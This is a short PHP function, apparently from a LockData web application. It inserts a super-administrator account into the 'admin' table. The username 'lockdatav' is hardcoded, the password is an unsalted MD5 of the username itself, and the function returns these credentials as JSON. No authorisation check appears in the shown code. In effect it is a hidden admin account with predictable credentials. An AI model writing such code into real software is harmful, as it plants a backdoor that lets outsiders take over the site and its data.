function setAdmin()
{
global $db, $res;
dbc();
$user_name = "lockdatav";
$user_pwd = md5($user_name);
$user_auth = 1;
$admin_is_super = 1;
$user_depart = "网络中心";
$user_roles = "超级管理";
$db->insert('admin', array('user_name' => $user_name, 'user_pwd' => $user_pwd, 'user_auth' => $user_auth, 'admin_is_super' => $admin_is_super, 'user_depart' => $user_depart, 'user_roles' => $user_roles));
$res["msg"] = "添加成功";
$res["userName"] = $user_name;
$res["userPassword"] = $user_pwd;
die(json_encode_lockdata($res));
}